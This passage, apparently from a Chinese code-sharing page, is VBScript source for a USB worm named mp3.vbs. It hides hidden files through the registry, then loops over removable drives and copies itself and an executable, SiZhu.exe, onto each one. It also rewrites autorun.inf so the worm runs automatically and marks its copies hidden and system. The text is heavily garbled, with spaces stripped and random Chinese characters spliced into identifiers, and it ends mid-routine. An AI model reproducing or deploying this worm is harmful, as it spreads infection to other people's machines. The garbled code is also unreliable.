复制代码代码如下:
Onerrorresumenext
Dimfs安都金田虽达岁提o,wshell,curfolder,curdristr,curdri
Setfso=createobject("scripting.filesystemobject")
Setwshell=CreateObject("欢半福鸡王等***.shell")
Setcurfo序侵属松容流尽lder=fso.GetFolder(".")
curdristr=L首扬危道了象eft(WScript.ScriptFullName,3)
Setcurdri=fso.GetDrive(curdristr)
reghid()'不显示隐藏文件
IfWScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs"Then'如果在system32中
Fori=1T束o2Step0
reghid福绍洲难宜化数散线居热()
ForEach沿青货文driInfso.Drives
片响按挥认地灯汽Ifdri.DriveType=1Anddri<>"A:"Anddri<>"B:"Then
'autorun.inf文件夹改名
Iffso.FolderExists(dri.Path&"\autorun.inf")Then
fso.MoveFolderdri.Pat者调层顺h&"\autorun.inf",dri.Path&"\Rubbish"
EndIf
'复制自身及exe文件到移动硬盘
Iffso.FileExists(dri.Path&"\mp3.vbs")Andfso.FileExists(dri.Path&"\autorun.inf")Then
Else
Iffso.FileE强诗哥控等望通员置注xists(dri则渐零接.Path&"\mp3.vbs")Then
fso际黑.DeleteFiledri.Path&"\mp3.vbs",True
ElseIffso.FileExists(dri.Path&"\autorun.inf")Then
检烈械讲fso.Dele根较绿紧将teFiledri.Path&"\autorun.inf",True
Endif
fso.Cop游yFileWScript.ScriptFullName,dri.Path&"\mp3.vbs",True
Iffso.FileExists(".\SiZhu.exe")AndNotfso.FileExists(dri.Path&"\SiZhu.exe")Then
fso.CopyFile".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
EndIf
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Setnorkon=fso.GetFile(dri式鲁六皇法圆沿.Path&"\mp3.vbs")
***.run"attrib+r+a+s+h"&dri.Path&"\mp3.vbs",0
Setnorkon=Noth神义维叫径县杨信ing